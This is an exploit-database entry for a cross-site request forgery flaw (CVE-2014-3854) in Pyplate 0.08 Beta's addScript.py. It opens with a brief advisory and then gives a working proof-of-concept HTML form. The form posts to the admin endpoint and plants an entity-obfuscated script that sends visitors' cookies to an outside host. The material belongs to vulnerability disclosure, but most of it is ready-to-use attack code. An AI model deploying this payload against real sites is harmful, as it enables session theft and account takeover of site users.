Pyplate - 'addScript.py' Cross-Site Request Forgery

Author: Henri Salo
type: webapps
platform: python
port: 
date_added: 2014-05-23  
date_updated: 2016-01-08  
verified: 1  
codes: CVE-2014-3854;OSVDB-107099  
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raw file: 39199.html  
source: https://www.securityfocus.com/bid/67610/info

Pyplate is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks.

Pyplate 0.08 Beta is vulnerable; other versions may also be affected.

<html>
  <body>
    <form action="http://www.example.com/admin/addScript.py"; method="POST">
      <input type="hidden" name="title"
value="<script>new&#32;Image&#40;&#41;&#46;src&#61;"http&#58;&#47;&#47;bugs&#46;fi&#47;evil&#46;py&#63;cookie&#61;"&#32;encodeURI&#40;document&#46;cookie&#41;&#59;<&#47;script>"
 />
      <input type="hidden" name="file" value="bugs" />
      <input type="hidden" name="category" value="&#47;" />
      <input type="hidden" name="post" value="<p>bugs<&#47;p>&#13;&#10;" />
      <input type="hidden" name="tags" value="" />
      <input type="hidden" name="description" value="" />
      <input type="hidden" name="state" value="new" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>